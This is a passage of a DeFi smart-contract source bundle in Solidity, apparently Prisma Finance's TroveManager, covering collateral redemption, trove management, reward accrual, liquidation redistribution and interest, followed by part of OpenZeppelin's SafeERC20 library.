(currentBorrower != address(0) && totals.remainingDebt > 0 && _maxIterations > 0) {\n _maxIterations--;\n // Save the address of the Trove preceding the current one, before potentially modifying the list\n address nextUserToCheck = _sortedTrovesCached.getPrev(currentBorrower);\n\n _applyPendingRewards(currentBorrower);\n SingleRedemptionValues memory singleRedemption = _redeemCollateralFromTrove(\n _sortedTrovesCached,\n currentBorrower,\n totals.remainingDebt,\n totals.price,\n _upperPartialRedemptionHint,\n _lowerPartialRedemptionHint,\n _partialRedemptionHintNICR\n );\n if (singleRedemption.cancelledPartial) break; // Partial redemption was cancelled (out-of-date hint, or new net debt < minimum), therefore we could not redeem from the last Trove\n\n totals.trovesRedeemed[totals.numberOfRedemptions++] = ReedemedTrove(\n currentBorrower,\n singleRedemption.debtLot,\n singleRedemption.collateralLot\n );\n\n totals.totalDebtToRedeem = totals.totalDebtToRedeem + singleRedemption.debtLot;\n totals.totalCollateralDrawn = totals.totalCollateralDrawn + singleRedemption.collateralLot;\n\n totals.remainingDebt = totals.remainingDebt - singleRedemption.debtLot;\n currentBorrower = nextUserToCheck;\n }\n require(totals.totalCollateralDrawn > 0, \"Unable to redeem any amount\");\n\n // Decay the baseRate due to time passed, and then increase it according to the size of this redemption.\n // Use the saved total debt supply value, from before it was reduced by the redemption.\n _updateBaseRateFromRedemption(totals.totalCollateralDrawn, totals.price, totals.totalDebtSupplyAtStart);\n\n // Calculate the collateral fee\n totals.collateralFee = sunsetting ? 0 : _calcRedemptionFee(getRedemptionRate(), totals.totalCollateralDrawn);\n\n _requireUserAcceptsFee(totals.collateralFee, totals.totalCollateralDrawn, _maxFeePercentage);\n uint256 userRebate = (redemptionFeesRebate * totals.collateralFee) / 10000;\n\n uint256 _numberOfRedemptions = totals.numberOfRedemptions;\n if (userRebate > 0) {\n for (uint256 i; i < _numberOfRedemptions; ) {\n ReedemedTrove memory refund = totals.trovesRedeemed[i];\n surplusBalances[refund.account] += (userRebate * refund.collateralLot) / totals.totalCollateralDrawn;\n unchecked {\n ++i;\n }\n }\n }\n\n if (redemptionFeesRebate < 10000) {\n uint256 treasuryRebate = totals.collateralFee - userRebate;\n _sendCollateral(PRISMA_CORE.feeReceiver(), treasuryRebate);\n }\n\n emit Redemption(_debtAmount, totals.totalDebtToRedeem, totals.totalCollateralDrawn, totals.collateralFee);\n\n // Burn the total debt that is cancelled with debt, and send the redeemed collateral to msg.sender\n debtToken.burn(msg.sender, totals.totalDebtToRedeem);\n // Update Trove Manager debt, and send collateral to account\n totalActiveDebt = totalActiveDebt - totals.totalDebtToRedeem;\n _sendCollateral(msg.sender, totals.totalCollateralDrawn - totals.collateralFee);\n _resetState();\n if (address(_redemptionsCallback) != address(0)) {\n assembly {\n // Load array pointer value at slot 7 in the struct\n let trovesRedeemedLengthSlot := mload(add(totals, 0xe0))\n // Set array length in referenced location\n mstore(trovesRedeemedLengthSlot, _numberOfRedemptions)\n }\n _redemptionsCallback.onRedemptions(totals.trovesRedeemed);\n }\n }\n\n // Redeem as much collateral as possible from _borrower's Trove in exchange for debt up to _maxDebtAmount\n function _redeemCollateralFromTrove(\n ISortedTroves _sortedTrovesCached,\n address _borrower,\n uint256 _maxDebtAmount,\n uint256 _price,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR\n ) internal returns (SingleRedemptionValues memory singleRedemption) {\n Trove storage t = Troves[_borrower];\n // Determine the remaining amount (lot) to be redeemed, capped by the entire debt of the Trove minus the liquidation reserve\n singleRedemption.debtLot = PrismaMath._min(_maxDebtAmount, t.debt - DEBT_GAS_COMPENSATION);\n\n // Get the CollateralLot of equivalent value in USD\n singleRedemption.collateralLot = (singleRedemption.debtLot * DECIMAL_PRECISION) / _price;\n\n // Decrease the debt and collateral of the current Trove according to the debt lot and corresponding collateral to send\n uint256 newDebt = (t.debt) - singleRedemption.debtLot;\n uint256 newColl = (t.coll) - singleRedemption.collateralLot;\n\n if (newDebt == DEBT_GAS_COMPENSATION) {\n // No debt left in the Trove (except for the liquidation reserve), therefore the trove gets closed\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByRedemption);\n _redeemCloseTrove(_borrower, DEBT_GAS_COMPENSATION, newColl);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.redeemCollateral);\n } else {\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n /*\n * If the provided hint is out of date, we bail since trying to reinsert without a good hint will almost\n * certainly result in running out of gas.\n *\n * If the resultant net debt of the partial is less than the minimum, net debt we bail.\n */\n\n {\n // We check if the ICR hint is reasonable up to date, with continuous interest there might be slight differences (<1bps)\n uint256 icrError = _partialRedemptionHintNICR > newNICR\n ? _partialRedemptionHintNICR - newNICR\n : newNICR - _partialRedemptionHintNICR;\n if (\n icrError > 5e14 ||\n _getNetDebt(newDebt) < IBorrowerOperations(borrowerOperationsAddress).minNetDebt()\n ) {\n singleRedemption.cancelledPartial = true;\n return singleRedemption;\n }\n }\n\n _sortedTrovesCached.reInsert(_borrower, newNICR, _upperPartialRedemptionHint, _lowerPartialRedemptionHint);\n\n t.debt = newDebt;\n t.coll = newColl;\n _updateStakeAndTotalStakes(t);\n\n emit TroveUpdated(_borrower, newDebt, newColl, t.stake, TroveManagerOperation.redeemCollateral);\n }\n\n return singleRedemption;\n }\n\n /*\n * Called when a full redemption occurs, and closes the trove.\n * The redeemer swaps (debt - liquidation reserve) debt for (debt - liquidation reserve) worth of collateral, so the debt liquidation reserve left corresponds to the remaining debt.\n * In order to close the trove, the debt liquidation reserve is burned, and the corresponding debt is removed.\n * The debt recorded on the trove's struct is zero'd elswhere, in _closeTrove.\n * Any surplus collateral left in the trove can be later claimed by the borrower.\n */\n function _redeemCloseTrove(address _borrower, uint256 _debt, uint256 _collateral) internal {\n debtToken.burn(gasPoolAddress, _debt);\n totalActiveDebt = totalActiveDebt - _debt;\n\n surplusBalances[_borrower] += _collateral;\n totalActiveCollateral -= _collateral;\n }\n\n function _isValidFirstRedemptionHint(\n ISortedTroves _sortedTroves,\n address _firstRedemptionHint,\n uint256 _price,\n uint256 _MCR\n ) internal view returns (bool) {\n if (\n _firstRedemptionHint == address(0) ||\n !_sortedTroves.contains(_firstRedemptionHint) ||\n getCurrentICR(_firstRedemptionHint, _price) < _MCR\n ) {\n return false;\n }\n\n address nextTrove = _sortedTroves.getNext(_firstRedemptionHint);\n return nextTrove == address(0) || getCurrentICR(nextTrove, _price) < _MCR;\n }\n\n /**\n * Claim remaining collateral from a redemption or from a liquidation with ICR > MCR in Recovery Mode\n */\n function claimCollateral(address _receiver) external {\n uint256 claimableColl = surplusBalances[msg.sender];\n require(claimableColl > 0, \"No collateral available to claim\");\n\n surplusBalances[msg.sender] = 0;\n\n collateralToken.safeTransfer(_receiver, claimableColl);\n }\n\n // --- Reward Claim functions ---\n\n function claimReward(address receiver) external returns (uint256) {\n uint256 amount = _claimReward(msg.sender);\n\n if (amount > 0) {\n vault.transferAllocatedTokens(msg.sender, receiver, amount);\n }\n emit RewardClaimed(msg.sender, receiver, amount);\n return amount;\n }\n\n function vaultClaimReward(address claimant, address) external returns (uint256) {\n require(msg.sender == address(vault));\n\n return _claimReward(claimant);\n }\n\n function _claimReward(address account) internal returns (uint256) {\n require(emissionId.debt > 0, \"Rewards not active\");\n // update active debt rewards\n _applyPendingRewards(account);\n uint256 amount = storedPendingReward[account];\n if (amount > 0) storedPendingReward[account] = 0;\n\n // add pending mint awards\n uint256 mintAmount = _getPendingMintReward(account);\n if (mintAmount > 0) {\n amount += mintAmount;\n delete accountLatestMint[account];\n }\n\n return amount;\n }\n\n function claimableReward(address account) external view returns (uint256) {\n // previously calculated rewards\n uint256 amount = storedPendingReward[account];\n\n // pending active debt rewards\n uint256 updated = periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n uint256 integral = rewardIntegral;\n if (duration > 0) {\n uint256 supply = totalActiveDebt;\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n }\n }\n uint256 integralFor = rewardIntegralFor[account];\n\n if (integral > integralFor) {\n amount += (Troves[account].debt * (integral - integralFor)) / 1e18;\n }\n\n // pending mint rewards\n amount += _getPendingMintReward(account);\n\n return amount;\n }\n\n function _getPendingMintReward(address account) internal view returns (uint256 amount) {\n VolumeData memory data = accountLatestMint[account];\n if (data.amount > 0) {\n (uint256 week, uint256 day) = getWeekAndDay();\n if (data.day != day || data.week != week) {\n return (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n }\n }\n }\n\n function _updateIntegrals(address account, uint256 balance, uint256 supply) internal {\n uint256 integral = _updateRewardIntegral(supply);\n _updateIntegralForAccount(account, balance, integral);\n }\n\n function _updateIntegralForAccount(address account, uint256 balance, uint256 currentIntegral) internal {\n uint256 integralFor = rewardIntegralFor[account];\n\n if (currentIntegral > integralFor) {\n storedPendingReward[account] += (balance * (currentIntegral - integralFor)) / 1e18;\n rewardIntegralFor[account] = currentIntegral;\n }\n }\n\n function _updateRewardIntegral(uint256 supply) internal returns (uint256 integral) {\n uint256 _periodFinish = periodFinish;\n uint256 updated = _periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n integral = rewardIntegral;\n if (duration > 0) {\n lastUpdate = uint32(updated);\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n rewardIntegral = integral;\n }\n }\n _fetchRewards(_periodFinish);\n\n return integral;\n }\n\n function _fetchRewards(uint256 _periodFinish) internal {\n EmissionId memory id = emissionId;\n if (id.debt == 0) return;\n uint256 currentWeek = getWeek();\n if (currentWeek < (_periodFinish - startTime) / 1 weeks) return;\n uint256 previousWeek = (_periodFinish - startTime) / 1 weeks - 1;\n\n // active debt rewards\n uint256 amount = vault.allocateNewEmissions(id.debt);\n if (block.timestamp < _periodFinish) {\n uint256 remaining = _periodFinish - block.timestamp;\n amount += remaining * rewardRate;\n }\n rewardRate = uint128(amount / REWARD_DURATION);\n lastUpdate = uint32(block.timestamp);\n periodFinish = uint32(block.timestamp + REWARD_DURATION);\n\n // minting rewards\n amount = vault.allocateNewEmissions(id.minting);\n uint256 reward = dailyMintReward[previousWeek];\n if (reward > 0) {\n uint32[7] memory totals = totalMints[previousWeek];\n for (uint256 i = 0; i < 7; i++) {\n if (totals[i] == 0) {\n amount += reward;\n }\n }\n }\n dailyMintReward[currentWeek] = amount / 7;\n }\n\n // --- Trove Adjustment functions ---\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external whenNotPaused returns (uint256 stake, uint256 arrayIndex) {\n _requireCallerIsBO();\n require(!sunsetting, \"Cannot open while sunsetting\");\n uint256 supply = totalActiveDebt;\n\n Trove storage t = Troves[_borrower];\n require(t.status != Status.active, \"BorrowerOps: Trove is active\");\n t.status = Status.active;\n t.coll = _collateralAmount;\n t.debt = _compositeDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n t.activeInterestIndex = currentInterestIndex;\n _updateTroveRewardSnapshots(_borrower);\n stake = _updateStakeAndTotalStakes(t);\n sortedTroves.insert(_borrower, NICR, _upperHint, _lowerHint);\n\n TroveOwners.push(_borrower);\n arrayIndex = TroveOwners.length - 1;\n t.arrayIndex = uint128(arrayIndex);\n\n _updateIntegrals(_borrower, 0, supply);\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _compositeDebt);\n\n totalActiveCollateral = totalActiveCollateral + _collateralAmount;\n uint256 _newTotalDebt = totalActiveDebt + _compositeDebt;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n emit TroveUpdated(_borrower, _compositeDebt, _collateralAmount, stake, TroveManagerOperation.open);\n }\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256) {\n _requireCallerIsBO();\n if (_isCollIncrease || _isDebtIncrease) {\n require(!paused, \"Collateral Paused\");\n require(!sunsetting, \"Cannot increase while sunsetting\");\n }\n\n Trove storage t = Troves[_borrower];\n require(t.status == Status.active, \"Trove closed or does not exist\");\n\n uint256 newDebt = t.debt;\n if (_debtChange > 0) {\n if (_isDebtIncrease) {\n newDebt = newDebt + _netDebtChange;\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _netDebtChange);\n _increaseDebt(_receiver, _netDebtChange, _debtChange);\n } else {\n newDebt = newDebt - _netDebtChange;\n _decreaseDebt(_receiver, _debtChange);\n }\n t.debt = newDebt;\n }\n\n uint256 newColl = t.coll;\n if (_collChange > 0) {\n if (_isCollIncrease) {\n newColl = newColl + _collChange;\n totalActiveCollateral = totalActiveCollateral + _collChange;\n // trust that BorrowerOperations sent the collateral\n } else {\n newColl = newColl - _collChange;\n _sendCollateral(_receiver, _collChange);\n }\n t.coll = newColl;\n }\n\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n sortedTroves.reInsert(_borrower, newNICR, _upperHint, _lowerHint);\n uint256 newStake = _updateStakeAndTotalStakes(t);\n emit TroveUpdated(_borrower, newDebt, newColl, newStake, TroveManagerOperation.adjust);\n\n return (newColl, newDebt, newStake);\n }\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external {\n _requireCallerIsBO();\n require(Troves[_borrower].status == Status.active, \"Trove closed or does not exist\");\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByOwner);\n if (TroveOwners.length > 0) {\n totalActiveDebt = totalActiveDebt - debtAmount;\n } else {\n // Account for dust discrepancies due to interest sampling\n totalActiveDebt = 0;\n }\n _sendCollateral(_receiver, collAmount);\n _resetState();\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.close);\n }\n\n /**\n @dev Only called from `closeTrove` because liquidating the final trove is blocked in\n `LiquidationManager`. Many liquidation paths involve redistributing debt and\n collateral to existing troves. If the collateral is being sunset, the final trove\n must be closed by repaying the debt or via a redemption.\n */\n function _resetState() private {\n if (TroveOwners.length == 0) {\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n totalStakes = 0;\n totalStakesSnapshot = 0;\n totalCollateralSnapshot = 0;\n L_collateral = 0;\n L_debt = 0;\n lastCollateralError_Redistribution = 0;\n lastDebtError_Redistribution = 0;\n totalActiveCollateral = 0;\n totalActiveDebt = 0;\n defaultedCollateral = 0;\n defaultedDebt = 0;\n }\n }\n\n function _closeTrove(address _borrower, Status closedStatus) internal {\n uint256 TroveOwnersArrayLength = TroveOwners.length;\n\n Trove storage t = Troves[_borrower];\n t.status = closedStatus;\n t.coll = 0;\n t.debt = 0;\n t.activeInterestIndex = 0;\n ISortedTroves sortedTrovesCached = sortedTroves;\n rewardSnapshots[_borrower].collateral = 0;\n rewardSnapshots[_borrower].debt = 0;\n if (TroveOwnersArrayLength > 1 && sortedTrovesCached.getSize() > 1) {\n // remove trove owner from the TroveOwners array, not preserving array order\n uint128 index = t.arrayIndex;\n address addressToMove = TroveOwners[TroveOwnersArrayLength - 1];\n TroveOwners[index] = addressToMove;\n Troves[addressToMove].arrayIndex = index;\n emit TroveIndexUpdated(addressToMove, index);\n }\n\n TroveOwners.pop();\n\n sortedTrovesCached.remove(_borrower);\n t.arrayIndex = 0;\n }\n\n function _updateMintVolume(address account, uint256 initialAmount) internal {\n uint32 amount = uint32(initialAmount / VOLUME_MULTIPLIER);\n (uint256 week, uint256 day) = getWeekAndDay();\n totalMints[week][day] += amount;\n\n VolumeData memory data = accountLatestMint[account];\n if (data.day == day && data.week == week) {\n // if the caller made a previous redemption today, we only increase their redeemed amount\n accountLatestMint[account].amount = data.amount + amount;\n } else {\n if (data.amount > 0) {\n // if the caller made a previous redemption on a different day,\n // calculate the emissions earned for that redemption\n uint256 pending = (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n storedPendingReward[account] += pending;\n }\n accountLatestMint[account] = VolumeData({ week: uint32(week), day: uint32(day), amount: amount });\n }\n }\n\n // Updates the baseRate state variable based on time elapsed since the last redemption or debt borrowing operation.\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256) {\n _requireCallerIsBO();\n uint256 rate = _decayBaseRate();\n\n return _calcBorrowingFee(_calcBorrowingRate(rate), _debt);\n }\n\n function _decayBaseRate() internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n baseRate = decayedBaseRate;\n emit BaseRateUpdated(decayedBaseRate);\n\n _updateLastFeeOpTime();\n\n return decayedBaseRate;\n }\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt) {\n _requireCallerIsBO();\n return _applyPendingRewards(_borrower);\n }\n\n // Add the borrowers's coll and debt rewards earned from redistributions, to their Trove\n function _applyPendingRewards(address _borrower) internal returns (uint256 coll, uint256 debt) {\n Trove storage t = Troves[_borrower];\n if (t.status == Status.active) {\n uint256 troveInterestIndex = t.activeInterestIndex;\n uint256 supply = totalActiveDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n debt = t.debt;\n uint256 prevDebt = debt;\n coll = t.coll;\n // We accrued interests for this trove if not already updated\n if (troveInterestIndex < currentInterestIndex) {\n debt = (debt * currentInterestIndex) / troveInterestIndex;\n t.activeInterestIndex = currentInterestIndex;\n }\n\n if (rewardSnapshots[_borrower].collateral < L_collateral) {\n // Compute pending rewards\n (uint256 pendingCollateralReward, uint256 pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n\n // Apply pending rewards to trove's state\n coll = coll + pendingCollateralReward;\n t.coll = coll;\n debt = debt + pendingDebtReward;\n\n _updateTroveRewardSnapshots(_borrower);\n\n _movePendingTroveRewardsToActiveBalance(pendingDebtReward, pendingCollateralReward);\n }\n if (prevDebt != debt) {\n t.debt = debt;\n }\n _updateIntegrals(_borrower, prevDebt, supply);\n }\n return (coll, debt);\n }\n\n function _updateTroveRewardSnapshots(address _borrower) internal {\n uint256 L_collateralCached = L_collateral;\n uint256 L_debtCached = L_debt;\n rewardSnapshots[_borrower] = RewardSnapshot(L_collateralCached, L_debtCached);\n emit TroveSnapshotsUpdated(L_collateralCached, L_debtCached);\n }\n\n // Remove borrower's stake from the totalStakes sum, and set their stake to 0\n function _removeStake(address _borrower) internal {\n uint256 stake = Troves[_borrower].stake;\n totalStakes = totalStakes - stake;\n Troves[_borrower].stake = 0;\n }\n\n // Update borrower's stake based on their latest collateral value\n function _updateStakeAndTotalStakes(Trove storage t) internal returns (uint256) {\n uint256 newStake = _computeNewStake(t.coll);\n uint256 oldStake = t.stake;\n t.stake = newStake;\n uint256 newTotalStakes = totalStakes - oldStake + newStake;\n totalStakes = newTotalStakes;\n emit TotalStakesUpdated(newTotalStakes);\n\n return newStake;\n }\n\n // Calculate a new stake based on the snapshots of the totalStakes and totalCollateral taken at the last liquidation\n function _computeNewStake(uint256 _coll) internal view returns (uint256) {\n uint256 stake;\n uint256 totalCollateralSnapshotCached = totalCollateralSnapshot;\n if (totalCollateralSnapshotCached == 0) {\n stake = _coll;\n } else {\n /*\n * The following assert() holds true because:\n * - The system always contains >= 1 trove\n * - When we close or liquidate a trove, we redistribute the pending rewards, so if all troves were closed/liquidated,\n * rewards would’ve been emptied and totalCollateralSnapshot would be zero too.\n */\n uint256 totalStakesSnapshotCached = totalStakesSnapshot;\n assert(totalStakesSnapshotCached > 0);\n stake = (_coll * totalStakesSnapshotCached) / totalCollateralSnapshotCached;\n }\n return stake;\n }\n\n // --- Liquidation Functions ---\n\n function closeTroveByLiquidation(address _borrower) external {\n _requireCallerIsLM();\n uint256 debtBefore = Troves[_borrower].debt;\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByLiquidation);\n _updateIntegralForAccount(_borrower, debtBefore, rewardIntegral);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.liquidate);\n }\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external {\n _requireCallerIsLM();\n _movePendingTroveRewardsToActiveBalance(_debt, _collateral);\n }\n\n function _movePendingTroveRewardsToActiveBalance(uint256 _debt, uint256 _collateral) internal {\n defaultedDebt -= _debt;\n totalActiveDebt += _debt;\n defaultedCollateral -= _collateral;\n totalActiveCollateral += _collateral;\n }\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external {\n _requireCallerIsLM();\n surplusBalances[borrower] += collSurplus;\n }\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external {\n _requireCallerIsLM();\n // redistribute debt and collateral\n _redistributeDebtAndColl(_debt, _coll);\n\n uint256 _activeColl = totalActiveCollateral;\n if (_collSurplus > 0) {\n _activeColl -= _collSurplus;\n totalActiveCollateral = _activeColl;\n }\n\n // update system snapshos\n totalStakesSnapshot = totalStakes;\n totalCollateralSnapshot = _activeColl - _collGasComp + defaultedCollateral;\n emit SystemSnapshotsUpdated(totalStakesSnapshot, totalCollateralSnapshot);\n\n // send gas compensation\n debtToken.returnFromPool(gasPoolAddress, _liquidator, _debtGasComp);\n _sendCollateral(_liquidator, _collGasComp);\n }\n\n function _redistributeDebtAndColl(uint256 _debt, uint256 _coll) internal {\n if (_debt == 0) {\n return;\n }\n /*\n * Add distributed coll and debt rewards-per-unit-staked to the running totals. Division uses a \"feedback\"\n * error correction, to keep the cumulative error low in the running totals L_collateral and L_debt:\n *\n * 1) Form numerators which compensate for the floor division errors that occurred the last time this\n * function was called.\n * 2) Calculate \"per-unit-staked\" ratios.\n * 3) Multiply each ratio back by its denominator, to reveal the current floor division error.\n * 4) Store these errors for use in the next correction when this function is called.\n * 5) Note: static analysis tools complain about this \"division before multiplication\", however, it is intended.\n */\n uint256 collateralNumerator = (_coll * DECIMAL_PRECISION) + lastCollateralError_Redistribution;\n uint256 debtNumerator = (_debt * DECIMAL_PRECISION) + lastDebtError_Redistribution;\n uint256 totalStakesCached = totalStakes;\n // Get the per-unit-staked terms\n uint256 collateralRewardPerUnitStaked = collateralNumerator / totalStakesCached;\n uint256 debtRewardPerUnitStaked = debtNumerator / totalStakesCached;\n\n lastCollateralError_Redistribution = collateralNumerator - (collateralRewardPerUnitStaked * totalStakesCached);\n lastDebtError_Redistribution = debtNumerator - (debtRewardPerUnitStaked * totalStakesCached);\n\n // Add per-unit-staked terms to the running totals\n uint256 new_L_collateral = L_collateral + collateralRewardPerUnitStaked;\n uint256 new_L_debt = L_debt + debtRewardPerUnitStaked;\n L_collateral = new_L_collateral;\n L_debt = new_L_debt;\n\n emit LTermsUpdated(new_L_collateral, new_L_debt);\n\n totalActiveDebt -= _debt;\n defaultedDebt += _debt;\n defaultedCollateral += _coll;\n totalActiveCollateral -= _coll;\n }\n\n // --- Trove property setters ---\n\n function _sendCollateral(address _account, uint256 _amount) private {\n if (_amount > 0) {\n totalActiveCollateral = totalActiveCollateral - _amount;\n emit CollateralSent(_account, _amount);\n\n collateralToken.safeTransfer(_account, _amount);\n }\n }\n\n function _increaseDebt(address account, uint256 netDebtAmount, uint256 debtAmount) internal {\n uint256 _newTotalDebt = totalActiveDebt + netDebtAmount;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n debtToken.mint(account, debtAmount);\n }\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external {\n _requireCallerIsLM();\n _decreaseDebt(account, debt);\n _sendCollateral(account, coll);\n }\n\n function _decreaseDebt(address account, uint256 amount) internal {\n debtToken.burn(account, amount);\n totalActiveDebt = totalActiveDebt - amount;\n }\n\n // --- Balances and interest ---\n\n function updateBalances() external {\n _requireCallerIsLM();\n _updateBalances();\n }\n\n function _updateBalances() private {\n _updateRewardIntegral(totalActiveDebt);\n _accrueActiveInterests();\n }\n\n // This function must be called any time the debt or the interest changes\n function _accrueActiveInterests() internal returns (uint256) {\n (uint256 currentInterestIndex, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 currentDebt = totalActiveDebt;\n uint256 activeInterests = Math.mulDiv(currentDebt, interestFactor, INTEREST_PRECISION);\n totalActiveDebt = currentDebt + activeInterests;\n interestPayable = interestPayable + activeInterests;\n activeInterestIndex = currentInterestIndex;\n lastActiveIndexUpdate = block.timestamp;\n }\n return currentInterestIndex;\n }\n\n function _calculateInterestIndex() internal view returns (uint256 currentInterestIndex, uint256 interestFactor) {\n uint256 lastIndexUpdateCached = lastActiveIndexUpdate;\n // Short circuit if we updated in the current block\n if (lastIndexUpdateCached == block.timestamp) return (activeInterestIndex, 0);\n uint256 currentInterest = interestRate;\n currentInterestIndex = activeInterestIndex; // we need to return this if it's already up to date\n if (currentInterest > 0) {\n /*\n * Calculate the interest accumulated and the new index:\n * We compound the index and increase the debt accordingly\n */\n interestFactor = (block.timestamp - lastIndexUpdateCached) * currentInterest;\n currentInterestIndex =\n currentInterestIndex +\n Math.mulDiv(currentInterestIndex, interestFactor, INTEREST_PRECISION);\n }\n }\n\n // --- Requires ---\n\n function _requireCallerIsBO() internal view {\n require(msg.sender == borrowerOperationsAddress);\n }\n\n function _requireCallerIsLM() internal view {\n require(msg.sender == liquidationManager);\n }\n}\n"
},
"contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"contracts/token/ERC20/IERC20.sol\";\nimport \"contracts/token/ERC20/extensions/IERC20Permit.sol\";\nimport \"contracts/utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. 